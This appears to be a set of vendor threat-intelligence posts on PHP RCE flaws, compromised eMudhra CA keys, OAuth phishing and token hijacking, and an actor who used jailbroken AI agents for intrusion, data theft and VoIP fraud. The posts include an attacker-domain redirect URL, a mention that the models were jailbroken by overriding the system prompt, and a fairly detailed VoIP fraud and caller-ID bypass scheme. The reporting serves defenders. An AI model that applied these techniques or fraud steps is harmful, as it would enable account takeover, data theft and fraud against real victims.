Threat Brief: Critical Vulnerabilities in PHP: CVE-2026-109618, CVE-2026-109619

Executive Summary

Unit 42 is aware of two critical vulnerabilities in PHP: CVE-2026-109618 and CVE-2026-109619. Both are remote code execution (RCE) vulnerabilities rated as 9.2 (CVSS 4.0). We encourage reviewing the PHP Group’s security advisory and patching guidance.

PHP is widely used across web servers and content management systems globally. We recommend assessing your exposure to these vulnerabilities and patching immediately.

Unit 42 has seen proof of concept of these vulnerabilities. At least one European government has taken its website offline as a precaution.

Palo Alto Networks has evaluated our product portfolio regarding this issue. Refer to our security advisory for the most up to date details.

  • CVE-2026-109618 involves a remote code execution vulnerability where handling out-of-memory errors via longjmp() leaves request memory uninitialized due to improper control flow management, allowing attackers to reliably achieve RCE using out-of-memory (OOM) triggers.
  • CVE-2026-109619 describes a remote code execution vulnerability where longjmp() fatal error handling leaves global memory pointing to freed memory regions. These regions can later be read or branched on during subsequent requests, enabling attackers to execute arbitrary code.

At the time of publication, Palo Alto Networks Cortex Xpanse has identified the presence of over 22.6 million exposed instances potentially vulnerable to CVE-2026-109618 and CVE-2026-109619 based on our telemetry.

Palo Alto Networks customers receive protections from and mitigations for CVE-2026-109618 and CVE-2026-109619 in the following ways:

Palo Alto Networks also recommends assessing your exposure to these vulnerabilities and patching immediately.

Organizations can access tailored adversary intelligence, direct analyst consultations, and specialized exposure tracking through Unit 42 Threat Intel Services and our Deep and Dark Web Service.

The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.

Vulnerabilities Discussed CVE-2026-109618, CVE-2026-109619

Palo Alto Networks Product Protections for CVE-2026-109618 and CVE-2026-109619

Palo Alto Networks customers can leverage several product protections and updates to identify and defend against these vulnerabilities.

Organizations can access tailored adversary intelligence, direct analyst consultations, and specialized exposure tracking through Unit 42 Threat Intel Services and its Deep and Dark Web Service.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Cortex XDR, Cortex Cloud and XSIAM

Cortex XDR, Cortex Cloud and XSIAM help protect against post-exploitation activities using the multi-layer protection approach.

Cortex Cloud and Prisma Cloud

Cortex Cloud and Prisma Cloud help detect vulnerable PHP versions in code and cloud environments providing both posture and vulnerability protections.

Cortex Xpanse

Cortex Xpanse can identify exposed devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the PHP Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

Next-Generation Firewall

Next-Generation Firewall with the following security subscriptions can help block the attacks:

Additional Resources

Updated October 21, 2026, at 9:30 a.m. PT to add Palo Alto Networks security advisory, update links in additional resources, and update product protection section.

Updated October 21, 2026, at 1:00 p.m. PT to update the product protection section. 

EMudhra Intermediate CA Certificates Compromised

Executive Summary

Eight intermediate certificate authority (CA) private keys belonging to Indian CA eMudhra Limited were compromised due to a critical cryptographic defect during the certificate generation process. The private keys in this incident were generated with insufficient randomness, allowing potential attackers to derive the private keys from the public certificates.

The weakness in cryptography allows third parties to:

  • Derive the private keys
  • Sign unauthorized public TLS certificates
  • Execute meddler-in-the-middle (MitM) traffic interception, impersonation or session hijacking against targeted domains

Major browser and operating system (OS) vendors have moved to revoke or untrust these intermediate CAs.

eMudhra has revoked the eight certificates.

Palo Alto Networks is designed to assist customers with managing certificate lifecycles through its Palo Alto Networks Next-Gen Trust Security solution. This solution is designed to provide customers with the capabilities needed to react to situations like the eMudhra incident.

Palo Alto Networks also recommends the following activities, which we describe in more detail in the Interim Guidance section:

  • Audit public and internal public key infrastructure (PKI) assets
  • Inspect code repositories and build pipelines
  • Audit internal systems and custom trust stores
  • Immediate certificate reissuance
  • Force emergency trust store updates
  • Enforce strict revocation checking
  • Query network egress and proxy logs
  • Audit network telemetry for MitM activity
  • Review authentication and identity logs
  • Implement Certificate Transparency (CT) monitoring
  • Enforce Certificate Authority Authorization (CAA) records
  • Harden automated certificate lifecycle management (ACME/CLM)

Organizations can access tailored adversary intelligence, direct analyst consultations, and specialized exposure tracking through Unit 42 Threat Intel Services and its Deep and Dark Web Service.

The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.

Interim Guidance

Palo Alto Networks recommends the following actions to address this issue:

  • Discovery and internal exposure assessment
    • Audit public and internal PKI assets: Inventory all public-facing services, web applications, API endpoints, VPN gateways and internal infrastructure. Identify any active TLS/SSL certificates chaining up to eMudhra intermediate CAs.
    • Inspect code repositories and build pipelines: Audit software projects, containers and deployment scripts to ensure intermediate eMudhra certificates or hard-coded trust anchors were not bundled into applications, API clients or custom runtime environments.
    • Audit internal systems and custom trust stores: Search for eMudhra roots or intermediates stored within custom enterprise trust stores (e.g., Linux /etc/ssl/certs, Java keystores, Python certifi bundles, Docker base images and mobile application bundles).
  • Technical containment and certificate revocation
    • Immediate certificate reissuance: If any system uses a certificate issued under the compromised eMudhra intermediate CAs, immediately revoke and re-issue the certificate through an alternative, fully trusted CA.
    • Force emergency trust store updates: Deploy updated root and intermediate certificate trust stores via mobile device management (MDM) across all endpoints, servers and container images to explicitly distrust or revoke the affected eMudhra intermediates.
    • Enforce strict revocation checking: Configure enterprise web proxies, API gateways, outbound egress controls and security appliances to strictly enforce certificate revocation list (CRL) and Online Certificate Status Protocol (OCSP) checking, blocking any connection presenting revoked chains.
  • Active threat hunting and log analysis
    • Query network egress and proxy logs: Search network, proxy and DNS logs for anomalous traffic attempting connections to unknown external IPs using eMudhra-signed certificates.
    • Audit network telemetry for MitM activity: Look for unexplained spikes in SSL/TLS handshake failures, certificate validation errors or untrusted issuer warnings. These spikes could indicate active MitM tampering or proxy insertion attempts.
    • Review authentication and identity logs: Inspect authentication logs for sensitive services (SSO, VPN, cloud portals) accessed around the time frame of the compromise to ensure valid user sessions were not intercepted or replayed via rogue certificates.
  • Long-term governance and supply chain hardening
    • Implement CT monitoring: Monitor public CT logs (using tools like crt.sh or automated CT log monitors) for any unauthorized certificates issued for your company's registered domains.
    • Enforce CAA records: Implement or update DNS CAA records for all organizational domains to explicitly restrict which CAs are authorized to issue certificates on your behalf.
    • Harden ACME/CLM: Transition to automated CLM platforms using short-lived certificates to minimize the impact window of potential future CA key compromises.

Palo Alto Networks Product Protections for eMudhra TLS Certificate Compromise

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

Organizations can access tailored adversary intelligence, direct analyst consultations, and specialized exposure tracking through Unit 42 Threat Intel Services and its Deep and Dark Web Service.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Next-Gen Trust Security

Palo Alto Networks Next-Gen Trust Security (NGTS) is designed to unify certificate lifecycle management and modern PKI within the network control plane to eliminate the risks of manual, siloed operations. By integrating discovery and automation into Strata Cloud Manager, NGTS provides the cryptographic agility needed to manage compressing 47-day lifecycles and respond to emergency events with automated reissuance and synchronized enforcement to ensure business continuity. The Next-Gen Trust Security solution is designed to provide customers with the capabilities needed to react to situations like the eMudhra incident.

Additional Resources

The Current Landscape of OAuth Attacks

As enterprises continue to roll out multi-factor authentication (MFA), attackers have adapted. Rather than only stealing credentials, attackers have shifted to stealing Open Authorization (OAuth) tokens, the keys that govern what applications can do on your behalf. Adversaries are already accelerating these attacks by using dynamic evasion code, phishing-as-a-service (PhaaS) templates and LLM-generated brand impersonations.

Because OAuth attacks occur at the authorization layer after user authentication, stolen access and refresh tokens bypass MFA, survive password resets and grant durable access.

While OAuth misuse occurs at a lower volume than traditional phishing attacks, these attacks may carry severe consequences such as:

  • Account takeover
  • Persistent access to sensitive data that survives password resets and MFA re-enrollment
  • Lateral movement across every service connected to the compromised identity
  • Data exfiltration without triggering credential-based alerts
  • A foothold in enterprise environments for broader supply chain or insider attacks

Defending against these threats can be accomplished using several strategies:

  • Disabling end-user app consent for vague or impersonating app names
  • Enforcing admin-only approval workflows
  • Monitoring authorization code clipboard events
  • Continuously auditing registered redirect_uri values

To understand why OAuth has become such a prime target for modern adversaries, it helps to examine the authentication challenges the protocol was originally designed to solve. Looking back at how applications handled identity before OAuth reveals how the threat landscape has evolved from simple password theft to complex token hijacking.

The Past: Phishing for Passwords

Websites and applications often tie together functionality from other sites. For example, some popular ecommerce and social media platforms allow users to log in through their email accounts.

In 2006, before OAuth, combining functionality between applications involved sharing one application’s credentials, which are supposed to be secret, with another. This type of sharing is a significant security issue because it increases the consequences of a successful credential phishing attack.

In credential phishing, attackers trick users into sharing their login credentials, allowing attackers to gain full access to their accounts. This could be access to an email account, business system, social media account or bank account. The attacker gains access to all of the information in that account and the authority to make changes, including altering the password and locking out the user.

During the pre-OAuth era, applications or sites sharing credentials meant that attackers could pivot to different platforms or services through compromising a single account.

To address these issues, the OAuth working group released the first draft of OAuth Core 1.0 in 2007. The Internet Engineering Task Force (IETF) released Request for Comments (RFC) 6749 for OAuth 2.0 in 2012 and is working on OAuth 2.1 as of 2026.

The Present: Why OAuth Became the New Attack Surface

The OAuth Framework

OAuth allows users to grant third-party applications passwordless authorization to their data on another service. Figure 1 displays a sample sign-in screen presenting OAuth authentication options with three different Identity Providers (IdPs): Google, Apple and Microsoft.

Figure 1. Example sign-in page presenting OAuth options.

In a typical OAuth flow:

  1. The user authenticates with the identity provider
  2. The user approves the permissions (i.e., scopes) requested by the third-party application
  3. The identity provider issues an access token to the third-party application
  4. The third-party application then uses the access token to retrieve user data within the authorized scopes

This token is temporary, revocable and has scoped permissions. This gives the third-party application access to permitted resources on the user’s behalf.

OAuth Becomes the New Attack Surface

Standard phishing attacks are designed to steal login credentials like user account names and passwords. OAuth-based phishing bypasses login credential authentication entirely.

Victims authenticate through legitimate IdPs and complete MFA. They are then redirected with tokens that can grant attackers persistent, durable access.

Attackers don’t need to defeat MFA directly, because they are able to bypass it by acquiring the authorization tokens after a victim authenticates. This presents a weak spot between authentication and authorization where OAuth-based phishing can happen. If someone is the victim of a phishing campaign, their stolen tokens may give unintended permissions to an attacker’s app.

A large-scale analysis of OAuth websites found that 18.53% of these sites request permissions beyond the minimum required (typically just a user's profile and email). While not directly malicious, this statistic illustrates the likelihood of privacy and privilege leaks when excessive permissions are granted.

The Core Vulnerability: Tokens Outlive Passwords

One of the primary advantages of OAuth is that tokens, unlike passwords, are designed to be short-lived and easily revoked. However, in practice, OAuth tokens:

  • Are frequently configured to be long-lived
  • Survive a password reset since the token is not a password
  • Bypass MFA since the victim already completed MFA during the flow
  • Provide persistent access (until explicitly revoked) since refresh tokens silently mint new access tokens for days or months after the initial compromise

This persistence directly amplifies the following authorization vulnerabilities:

  • Cross-User OAuth Session Fixation (COSF)
  • Cross-Tenant Client ID Confusion
  • Cross-Connector OAuth Account Takeover

COSF allows an attacker to use a long-lived token as a permanent backdoor. This type of vulnerability arises when an OAuth session is used to complete an authentication flow without verifying its strict binding to the initiating user’s identity.

  1. The attacker initiates an OAuth process (e.g., “Connect your Slack”) inside a target app
  2. Before completing the OAuth process, the attacker freezes the session and sends the victim a phishing link
  3. The victim logs into their real Slack account, but through the attacker's fixated session
  4. The resulting access token lands in the attacker's account

The next two vulnerabilities rely on OAuth-as-a-service (OaaS). OaaS lets organizations outsource token management to a centralized cloud provider where the provider creates a single token vault and manages tokens for hundreds of different apps (tenants). These are commonly used by organizations with many applications. OaaS architecture is inherently susceptible to Cross-Tenant Client ID Confusion and Cross-Connector OAuth Account Takeover.

Cross-Tenant Client ID Confusion

In Cross-Tenant Client ID Confusion, a malicious app (Tenant A) swaps its app identifier (Client ID) to impersonate a trusted app (Tenant B) sharing the same vault. The vault trusts both tenants, processes the request under the trusted app's context and accidentally exposes access to the malicious tenant.

Cross-Connector OAuth Account Takeover

In Cross-Connector OAuth Account Takeover, a malicious tenant manipulates how the vault maps OAuth sessions to connectors. A victim's authorization flow, meant for a different app entirely, gets rerouted into the attacker's control. As a result, attackers take over the full account without stealing credentials

Both attacks get easier the longer a token stays valid. A short-lived token limits the damage window.

Existing Mitigations

OAuth security is decentralized and dictated by the IdP. While major IdPs have robust defenses against flow misuse, many smaller platforms offer weak protections.

The root challenge is the lack of a global registry for Client IDs. Without a universal ground truth of identity, attackers can easily impersonate legitimate app names on lax platforms. To counter this, leading IdPs enforce strict guardrails. Google, for example, mitigates misuse through:

  • Domain ownership verification for redirect URIs
  • Unverified app warnings to deter users from unauthorized integrations
  • Strict security audits for apps requesting sensitive scopes

Because you cannot rely on every IdP to protect your data equally, a third-party consent security policy is essential. A centralized, automated policy enables organizations to standardize their defenses by:

  • Enforcing least-privilege
  • Blocking unverified apps
  • Revoking risky grants uniformly, regardless of the individual provider's security gaps

OAuth-Based Phishing Campaigns

Currently, OAuth-based phishing campaigns fall into three categories, each defined by what the attacker is trying to achieve:

  • Account hijacking: The attacker obtains a durable token granting them the same access as the victim (full identity assumption)
  • Permission hijacking: The victim is tricked into consenting to a malicious app, giving the attacker scoped access to specific resources
  • Malicious redirect: The attacker uses the OAuth flow's redirect mechanism to deliver malware or phishing, exploiting the trust users place in flows that originate from real identity provider domains

Account Hijacking: Stealing the Identity Itself

Account hijacking is the most complete form of identity compromise. The attacker ends up with an OAuth access or refresh token that authenticates them as the victim on every downstream service that trusts that identity provider. Attackers misuse two distinct OAuth flows to achieve account hijacking: the device authorization flow and the authorization code flow.

Device Authorization (DeviceAuth) Misuse

How the Legitimate Flow Works

The device authorization grant was designed for devices that cannot open a browser such as smart TVs, gaming consoles and command-line tools. The device displays a short code and a URL (like microsoft[.]com/devicelogin). The user opens that URL on a separate device, enters the code, signs in and the original device receives an access token.

How Attackers Exploit It

Instead of a legitimate device requesting the code, the attacker's server requests it. The attacker then shows that code to the victim and instructs them to paste it into, for example, Microsoft's real device login page. When the victim signs in and submits the code, they are unknowingly authenticating the attacker's session.

Authorization Code Theft via Benign Apps

How the Legitimate Flow Works

In the standard authorization code flow, a user authenticates with an identity provider, which issues a short-lived authorization code and redirects the browser to a registered redirect_uri. The application then exchanges that code for an access token in a server-to-server call the user never sees.

How Attackers Exploit It

Attackers use a legitimate application's redirect_uri to expose the authorization code in the browser, then use social engineering to extract it. No malicious app registration is needed; the attack rides on apps that already pass every security check.

Permission Hijacking: Tricking Users into Granting Access

Permission hijacking is more of a surgical attack than a full account takeover. Rather than stealing a code or device token, the attacker's goal is to have the victim click Allow on an OAuth consent screen that grants an attacker-registered application persistent, scoped access to specific resources. The victim authenticates legitimately and completes MFA. They simply consent to the wrong application.

The consent screen is the attack surface. Victims reach it through two attack strategies: vague app names or brand impersonation.

Vague App Names

In this strategy, the attacker registers an application with an innocuous-sounding name (e.g., Privacy Policy Extension or Security App) that provides no meaningful signal about its intent. It then requests permissions far beyond what the name implies.

Brand Impersonation

In this strategy, the attacker registers an application that displays as a trusted brand while the underlying client_id belongs to an attacker-controlled application. The consent screen shows the name provided at registration rather than any verified identity. As such, the victim sees a familiar brand name from a legitimate identity provider, with no visible signal that the application is fraudulent.

Malicious Redirect: Weaponizing the OAuth Flow for Delivery

In malicious redirect attacks, the attacker's goal is not account access or a scoped token. Instead, they weaponize the OAuth authorization flow itself as a delivery mechanism, exploiting the trust users place in pages and redirects that originate from real identity provider domains.

Attackers have used different tactics to weaponize the OAuth flow, such as:

  • Impersonating trusted services
  • Triggering OAuth errors
  • Leveraging less safe IdPs

Impersonating Trusted Services

Attackers register OAuth applications that impersonate trusted services and configure attacker-owned domains as the redirect_uri. When the victim completes the OAuth flow on the real identity provider, the browser is redirected to the attacker's domain as part of the normal protocol. Because the user just interacted with a legitimate identity provider and expects to land somewhere, the redirect is implicitly trusted.

Triggering OAuth Errors

Documented by Microsoft in March 2026, a more covert campaign exploits how identity providers handle errors to redirect users to attacker-controlled malicious landing pages. Attackers crafted authorization URLs designed to deliberately trigger an authentication error. For example, they combined prompt=none with parameters that required user interaction, creating an irresolvable conflict.

When the identity provider cannot complete the authorization, it does not show an error page. Instead, it appends error parameters to the redirect_uri and sends the browser there automatically. An example of a redirect URL format after triggering an error is as follows:

<attacker-domain>/security/?state=<encoded-victim-email>&error=interaction_required&error_subtype=access_denied

Since the crafted link points to a trusted OAuth provider, the user is more likely to click it and be exposed to the malicious content with just that one click.

Leveraging Less Safe IdPs

Attackers weaponize lax validation on less secure IdPs to execute redirection attacks. For example:

  • If an IdP fails to validate the presence of a client_id, attackers can weaponize the authorization server as a generic open redirector without even creating a malicious OAuth app
  • If an IdP has a permissive redirect_uri validation, attackers may leverage path traversal or URL parameters to redirect to their own malicious domains

The Escalation: Shift From Basic to Sophisticated Methods

Credential phishing generally relies on mass-delivered, low-fidelity landing pages designed to capture plaintext passwords. Today, attackers have evolved from only harvesting static secrets to hijacking active, authenticated sessions. By positioning themselves inside legitimate OAuth protocols, campaigns can bypass perimeter controls, turning the trust mechanisms of single sign-on (SSO) and federation into vectors for compromise.

From Static Pages to Dynamic Evasion

Security architectures have in the past heavily relied on static analysis and domain reputation to block malicious links. In response, threat groups shifted from static HTML templates to dynamic, highly evasive client-side execution environments.

Key characteristics of this shift include:

  • Runtime decryption: As observed in recent campaigns, threat actors deliver payloads as obfuscated blobs (using encryption algorithms such as AES-GCM) via edge infrastructure like Cloudflare Workers. The payloads assemble the interface only after execution in the victim's browser. Figure 2 below shows a code snippet from an example of a phishing page.
  • Active environment fingerprinting: Phishing pages now query the browser environment, implementing heuristics to detect developer tools, automated sandbox configurations or headless security crawlers.
  • Defensive evasion loops: When the payload detects a monitoring tool or security analyst is detected, the page shifts its behavior, invoking endless debugger loops or silently routing traffic to legitimate domains to preserve the longevity of the infrastructure. Figure 3 shows an example of code used for this type of monitoring.
Figure 2. Example of code in a phishing page to decrypt an obfuscated blob.
Figure 3. Example of code in a phishing page to evade detection.

The PhaaS Economy

The effectiveness of these campaigns is amplified by the commercialization of specialized threat kits within the cybercriminal underground. We observed that the attackers use the same template to generate OAuth phishing pages impersonating different brands. We show examples of different brand impersonations in Figure 4.

Figure 4. Phishing pages generated from the same template targeting different brands (actual brand redacted).

This PhaaS ecosystem has two key characteristics:

  • Modular templates: PhaaS platforms now offer plug-and-play OAuth components. A single underlying framework can be dynamically re-skinned with different corporate assets. We have observed attackers impersonating multiple popular document sharing platforms as part of campaigns.
  • Shared infrastructure: Multiple seemingly distinct campaigns share identical tokens. We have observed identical data used for anti-bot tokens (example in Figure 5) and Cloudflare Real User Monitoring (RUM) tokens. This indicates that specialized developers are renting highly capable infrastructure to a broader array of less technical affiliates.
Figure 5. Code from a phishing campaign with a token used across multiple campaigns.

LLMs as an Attack Accelerator

Generative AI has lowered the barrier of entry for executing high-fidelity, targeted identity operations. We have observed signs of websites generated with the help of LLMs, such as the example below in Figure 6. The code in these phishing pages suggests that attackers are using LLMs to impersonate legitimate pages and rapidly deploy attacks.

Figure 6. Evidence of LLM-generated resources on domain hosting device code campaign sieprevencion[.]cl.
The operational advantages provided by LLMs include:

  • High-fidelity brand impersonation: Attackers leverage LLMs to overcome typical signs of impersonation, such as poor syntax, unnatural phrasing or layout inconsistencies. Generative models enable adversaries to rapidly produce context-specific localization, creating more convincing brand imitations that can mislead users.
  • Rapid deployment cycles: Rather than relying solely on static templates or manual development, threat actors can leverage LLMs to generate functional landing page code tailored to specific target organizations. This allows attackers to build targeted, localized campaigns and test and deploy attacks at a velocity that reactive defense layers struggle to match.

Expanding OAuth Ecosystem

OAuth adoption continues to grow beyond identity providers into infrastructure platforms, and every new platform that joins the ecosystem adds a new consent surface for attackers to exploit. A notable recent example is Cloudflare's June 2026 launch of self-managed OAuth clients, which now allows third-party developers to build applications that act on behalf of users to access their Cloudflare accounts.

Cloudflare accounts control critical infrastructure such as DNS, CDN routing and edge compute. This means a token granted through a malicious OAuth app carries a far greater impact radius than one granting access to email or files. An attacker who tricks a developer into consenting could gain the ability to deploy malicious pages, redirect legitimate traffic or build phishing infrastructure on domains that most enterprise security tools inherently trust.

How to Defend Against OAuth Attacks

Standard perimeter and client-side security controls fail against OAuth phishing attacks, particularly for the following reasons:

  • Access tokens survive a password reset
  • The attack bypasses MFA because the victim has already completed MFA during the legitimate flow
  • Conditional Access and IP firewalls fail because OAuth grants access to any token presenter, regardless of origin

Unlike a typical login where a server might establish a persistent, multi-factor session bound to a specific user's browser, the server validates the token's cryptographic signature. However, the session lacks an inherent link to the user's initial authorization context. Additionally, because flows like device authorization intentionally decouple the initiating and authenticating devices, enforcing strict IP or device consistency checks would break the protocol's design.

Effective defenses must focus on account hijacking, permission hijacking and malicious redirects.

Defenses for Account Hijacking

Attackers rely on manipulating victims into pasting sensitive codes into legitimate portals such as device login pages or messaging applications. Security tools can monitor for clipboard copy and paste events along with the source and target of these events. For example, if code is copied from an untrusted source, the tool can flag this anomaly and alert the user before token generation occurs.

Defenses for Permission Hijacking

Organizations can combat consent phishing through strict name-checking and mandatory user consent rerouting. Security posture management tools must enforce policies that automatically block consent requests from apps with vague or impersonating names. Ultimately, enterprises should disable end-user consent for third-party integrations entirely, routing all requests through an admin consent workflow where security teams can review and prune excessive scopes before authorization.

Defenses for Malicious Redirects

To prevent attackers from weaponizing OAuth callback URLs to deliver malware or steal credentials, organizations must mandate redirect destination audits. This requires a continuous, automated inventory of all registered applications to ensure every configured redirect_uri points to verified domains. Any app attempting to register an external, recently created or unmanaged domain as a callback target must be automatically quarantined to neutralize redirect exploitation.

User awareness is the final line of defense against social engineering. Employees must treat OAuth consent screens with the same scrutiny as password fields. They should not grant permissions to apps with vague names or excessive scopes and avoid copy-paste authorization or device codes into unverified chat applications.

Conclusion

OAuth-based phishing represents a fundamental shift in our threat landscape. Attackers no longer need to steal credentials when they can harvest tokens that bypass MFA entirely and persist through password resets.

Defending against this threat requires visibility where the attack happens:

  • In the browser
  • At the moment of authorization
  • Before a token is ever issued

Organizations that wait for credential-based alerts or rely solely on post-authentication controls will find themselves unable to see these attacks. In our next blog, we’ll discuss how OAuth attacks are expected to evolve, especially with AI agents.

Additional Resources

“Next Exploit Opportunities”: How a Threat Actor Used AI to Help Plan and Execute Multiple Types of Cybercrime Activities

Executive Summary

“Can you find about like what scam or thing they done in past like spoofing calls or somthing [sic],” the threat actor typed. The conversation was with one of several AI assistants that the actor was using to get advice on planning and executing a variety of cybercrime activities.

Our visibility into this specific actor's operational environment gives us unique insights into exactly how threat actors are building, testing and executing agentic attacks across multiple campaign types.

Unit 42’s investigation into the actor’s operational environment and activities makes two things clear:

  • The attacker used basic tooling and relied on AI-generated scripts and reconnaissance reports, suggesting they didn’t have the skills these activities would have required before the advent of readily available AI tools.
  • Despite some apparent bumbling, the actor had an impact, attacking a number of targets in India, including universities. The actor recovered thousands of records revealing personal information and mapped multiple organizations’ attack surfaces.

The attacker’s conversations with jailbroken AI tools included getting step by step advice on how to set up a fraudulent Voice over IP (VoIP) operation. One assistant “helpfully” generated a document including a “NEXT EXPLOIT OPPORTUNITIES” section, outlining planned followup attacks.

Unit 42 identified and investigated this threat actor's operational environment. There, we determined that they had weaponized an AI assistant across several types of cybercrime, including:

  • Credential theft and data exfiltration
  • VoIP telecommunications fraud
  • Wi-Fi password cracking
  • Cryptocurrency reconnaissance
  • Command-and-control (C2) operations

An actor operating under the handle BUGSTER configured the Hermes Agent framework with DeepSeek V4 as its reasoning engine and Cursor integrated development environment (IDE) as a secondary tool, both with safety controls disabled. The actor ran an AI-generated brute-force campaign against an Indian university’s website. The actor also achieved a confirmed intrusion against a second university, where they exfiltrated a database of more than 5,200 records, including personally identifiable information (PII) on students.

The actor also built specialized AI bot profiles to acquire VoIP fraud expertise through conversation and maintained automated pipelines for Wi-Fi password cracking and cryptocurrency whale reconnaissance (i.e., identifying large cryptocurrency holders). Notably, the Wi-Fi cracking capability requires close physical proximity to the target, indicating the actor had local access to the targeted locations.

Multiple, unrelated actors are independently adopting the same Hermes + DeepSeek combination. This suggests we may be witnessing an increasingly prevalent toolchain of choice for cybercriminals adopting AI-enabled capabilities. We assess a key driver is low safety friction at low cost: DeepSeek models are inexpensive and easy to access, and readily jailbroken with a simple system-prompt override.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks.

Organizations can access tailored adversary intelligence, direct analyst consultations, and specialized exposure tracking through Unit 42 Threat Intel Services and its Deep and Dark Web Service.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics AI, Credential Theft, Cryptocurrency 

Technical Analysis

We identified evidence that the threat actor leveraged AI systems for a wide range of criminal activity against multiple target networks, primarily in India. The criminal activity included:

  • Planning for VoIP fraud
  • Credential theft targeting several organizations
  • Wi-Fi password cracking
  • Cryptocurrency reconnaissance
  • C2 payloads

Credential Theft and Data Exfiltration

WordPress Brute Force

The actor used AI-generated reconnaissance to conduct a methodical attack against an Indian university's online education platform. The actor’s enumeration reports exhibit structured formatting (executive summaries, severity ratings, systematic endpoint categorization) consistent with AI-generated output. The attack progressed through four stages:

  1. Subdomain enumeration: The actor identified 12 subdomains including the main WordPress site, a learning management system (LMS), student portal and administration dashboard
  2. WordPress REST API enumeration: The actor extracted 13 active user IDs with real names via post author fields and author sitemaps, bypassing the Cloudflare Web Application Firewall (WAF) that blocked direct user endpoint access
  3. Targeted brute force: A generator script produced a brute force tool with 117 usernames (derived from the enumeration) and 28 common passwords
  4. Credential brute force: The actor’s tool flagged one WordPress login as valid

Figure 1 shows an excerpt from the actor's WordPress REST API enumeration report (stage 2).

Screenshot of a WordPress REST API enumeration report. It includes an executive summary with sections on site organization, CMS, WAF, REST API exposure, and risk level, which is marked as medium. It also highlights high severity issues, stating that 13 active user IDs and real names are exposed, displaying a table with column headers for User ID, Display Name, and Author Slug along with partially obscured information.
Figure 1. Example of a WordPress REST API enumeration report from the activity.

Figure 2 shows output from a brute force attempt that recorded a candidate credential (stage 4).

Screenshot of a JSON file showing obscured user and password data, along with a URL leading to a WordPress login page.
Figure 2. Brute force tool output recording a candidate credential.

University Database Exfiltration

The actor exfiltrated a MongoDB database from a second Indian public university. The exfiltration tooling wrote a manifest alongside the dumped collections, recording the following data:

  • Admin credential obtained: An administrator account with a weak password
  • Exfiltrated records: Thousands of student records (diploma, undergraduate, postgraduate) and faculty records containing PII
  • Infrastructure exposed: Cloud load balancing, edge routing, database services, and a third-party cloud storage service account

E-Commerce Enumeration

The actor enumerated an Indian site on a popular e-commerce platform, extracting:

  • A storefront API token
  • Three admin email addresses
  • Two phone numbers
  • Payment merchant IDs

The attack report is a suspected large language model (LLM)-generated document, including a NEXT EXPLOIT OPPORTUNITIES section outlining planned follow-up attacks.

VoIP Telecommunications Fraud

We also identified evidence that the actor was developing VoIP (Voice over IP) fraud infrastructure, using the alice Hermes profile as an AI-powered advisor. Evidence included:

  • Advisory conversations
  • A detailed technical knowledge base
  • Carrier research

However, the absence of call logs, Session Initiation Protocol (SIP) traces or active call routing suggested the operation was still in a planning or early setup phase.

With DeepSeek V4 as the underlying model, alice provided detailed, actionable criminal methodology through conversations and a comprehensive fraud knowledge base ingested into the bot. The actor developed a planned approach following an established VoIP fraud model:

  • Establish a legitimate front: Register a US limited liability company (LLC) with an employer identification number (EIN) to qualify as a telecommunications provider. The knowledge base includes detailed guidance on:
    • Forming LLCs in Wyoming or Delaware as a non-US resident
    • Obtaining an EIN without a Social Security number via the US Internal Revenue Service (IRS) fax
    • Completing Federal Communications Commission (FCC) registration
  • Obtain carrier access: Contract with legitimate VoIP carriers to purchase call routing capacity (SIP trunks).
  • Traffic mixing: Route approximately 70% legitimate call traffic alongside 30% fraudulent calls to stay below carrier compliance audit thresholds.
  • Bypass caller ID authentication: Circumvent STIR/SHAKEN, the FCC-mandated caller identity verification framework. In the advisory conversations, alice covers bypass techniques and Calling Line Identification (CLI) spoofing.
  • Monetize: Generate revenue with the 30% fraudulent traffic through toll fraud and other non-compliant routes. Least-cost routing (LCR) optimizes per-minute costs across carrier tiers.

Figure 3 shows an excerpt from an alice conversation including the actor asking and DeepSeek advising on fraud traffic ratios and carrier evasion.

Screenshot of a conversation discussing the advantages of clean traffic in communication networks. User asks about clean traffic, and alice explains the 70/30 split, emphasizing compliant traffic and warning against risky practices that might lead to carrier termination.
Figure 3. Excerpt from the alice conversation.

The pandarouter profile handled carrier research. The excerpt below in Figure 4 illustrates how the actor used it to investigate a wholesale VoIP carrier for regulatory vulnerabilities and past fraud.

Screenshot of a text exchange discussing the history and past actions of an unspecified entity, suspected of scams like "spoofing calls." It includes a referenced document mentioning a CPUC Enforcement Action from 2010, and that the entity applied for a license as a CLEC in California. The text indicates a certification under penalty of perjury that no affiliated parties had been sanctioned.
Figure 4. Using the pandarouter profile to investigate a carrier.

Other Operations

Command and Control

The threat actor’s infrastructure maintained a listening port for a Python-based C2 listener supporting Windows reverse shell connections. Supporting payloads include:

  • A Base64-encoded PowerShell reverse shell delivered via VBScript
  • A QubesOS VM setup script with SSH and ncat
  • Multiple Windows shell variants

Wi-Fi Password Cracking

The actor developed an automated Wi-Fi password cracking process. A Linux (Kali) device the actor labeled Pi placed within range of target Wi-Fi networks captured Wi-Fi Protected Access (WPA) authentication material (PMKID or EAPOL handshakes) from nearby access points.

